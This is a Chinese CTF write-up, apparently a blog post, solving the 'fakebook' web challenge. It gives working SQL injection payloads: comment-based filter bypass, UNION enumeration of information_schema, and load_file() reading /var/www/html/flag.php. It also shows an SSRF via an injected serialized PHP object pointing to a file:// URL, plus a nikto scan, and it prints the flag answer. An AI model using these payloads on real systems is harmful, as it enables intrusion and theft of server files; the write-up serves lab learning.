攻防世界-web-fakebook

1. 题目描述

打开链接,这样一个界面
在这里插入图片描述
貌似没啥特殊的。。。没关系,我们每个页面都点击一下
login页面:一个简单的登录页面在这里插入图片描述
join界面:不出意外,这应该是一个注册界面
在这里插入图片描述
目前,我们什么都不做,能获取到的信息就这些了。

2. 思路分析

首先,我们注册一下,随便填点什么东西
在这里插入图片描述
然后提示:
在这里插入图片描述
这说明我们blog部分填错了。
ok,知错就改,我们调整一下,试着在csdn上找一个能用的博客链接填进去
在这里插入图片描述

发现注册成功
在这里插入图片描述
然后点击OK,跳转到正常页面
在这里插入图片描述
可以看到,这里已经有一条记录了,这时,我们发现username那里是可以点击的,我们点击一下
在这里插入图片描述
这里可以看到通过no这个参数,将相应的信息获取到了,身份信息一般保存在数据库中,这里大概率是从数据库中查的,确认下是否存在sql注入

在这里插入图片描述
报错每关系,这反而说明我们构造的数据拼接到sql语句中了,换句话说,sql注入是存在的。我们看看是否能够利用这一点。

3. 解题过程

既然明确了存在sql注入,那么还是试着用union注入之类的试着获取数据库的信息
3.1 先确定数据库的列数和字段数
在这里插入图片描述
这里尝试绕过,用通用的大小写和注释方式试下,发现大小写无法绕过,注释可以
在这里插入图片描述
这里提示列数不同,OK,将我们注入的union select语句的列数依次递增

no=3 Union//select 1# 1
no=3 Union/
/select 1,2# 1
no=3 Union//select 1,2,3# 1
no=3 Union/
/select 1,2,3,4# 1

最后发现数据库中总共是4列
在这里插入图片描述
从结果来看,能够利用的是第二列

3.2 获取数据库中的信息
获取表名:no=3 union/**/select 1,table_name ,3,4 from information_schema.tables where table_schema=database()#
在这里插入图片描述

获取数据库的列名:no=3 union/**/select 1,column_name ,3,4 from information_schema.columns where table_name=‘users’ and table_schema=database() limit 2,1# (这里回显只有一行,因此这里通过limit来控制显示所有列)
在这里插入图片描述
比如,这里就显示第三列字段名为passwd。通过这种方式,我们获取到users表的四个字段分别为no, username, passwd, data

获取数据库中的具体内容:no=3 union/**/select 1,data ,3,4 from users limit 0,1#
查询看前面三个字段都是我们自己设置的,只有最后一个字段不一样
在这里插入图片描述
这是一个序列化字符串。但是如何利用暂时没有思路。

分隔线~~~~~


分隔线~~~~~,以下均参考网上大佬解法

3.3 信息获取不足,使用工具扫描下网站
除了上面的信息外,我们对该网站这里直接扫描下,执行命令:nikto -host 61.147.171.105:62060
在这里插入图片描述
发现,这里有两个有意思的文件,一个是/user.php.bak,一个是/db.php
/user.php.bak可以下载,内容如下:
在这里插入图片描述
这个从代码层来看是有SSRF风险的,什么是SSRF?
在这里插入图片描述
简而言之,SSRF的利用点在于服务端会去向某个地址发请求,而这个请求地址是攻击者可控的,那么攻击者可以将请求地址设置为本地地址127.0.0.1或者其它内网地址来访问内网资源,造成信息泄露以及越权访问。

3.4 使用SSRF获取flag

在这里插入图片描述
回到题目,这里的SSRF点在于blog参数是我们能够控制的,比如上图中我们可以将序列化后的字符串传递给服务端,然后反序列化后得到真实的值

no=3 union/**/select 1,2,3,‘O:8:“UserInfo”:3:{s:4:“name”;s:1:“1”;s:3:“age”;i:1;s:4:“blog”;s:21:“https://www.csdn.net/”;}’ #

因此我们可以将blog参数设置成内部的资源(看了网上大佬们的答案我才知道这里还有一个flag.php文件),我们将blog的值设置为file:///var/www/html/flag.php

no=3 union/**/select 1,2,3,‘O:8:“UserInfo”:3:{s:4:“name”;s:1:“1”;s:3:“age”;i:1;s:4:“blog”;s:29:“file:///var/www/html/flag.php”;}’ #
在这里插入图片描述

F12查看源码,发现src中存在相应的flag
在这里插入图片描述
将该结果用base64进行解码:
在这里插入图片描述
成功获取到flag,为flag{c1e552fdf77049fabf65168f22f7aeab}

3.5 一种更简单的解法
这里网上大佬给出了一种简单的方法,直接使用以下sql语句即可获取flag

no=3 union/**/select 1,load_file(“/var/www/html/flag.php”) ,3,4 #

在这里插入图片描述
当然,大佬也提到了这个利用点在于必须是高权限用户才行,非高权限用户建议走正常流程。

参考资料:https://blog.csdn.net/qq_41500251/article/details/105383065

4. 总结

非常综合的一道题,考察了SSRF和SQL注入;
1.解题过程中获取到的信息不完善,导致缺失一些关键信息;要养成渗透前先扫描的好习惯;
2. 另外就是过程中尝试过SSRF,也尝试了SQL注入,但是很遗憾,没能将两者结合起来处理(个人认为这道题将SSRF和SQL注入结合起来是一个亮点);
3. 另外,对sql注入的理解也不够深刻。

总之,个人能力尚需提升,收集信息要全面,不同中漏洞需要融会贯通。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值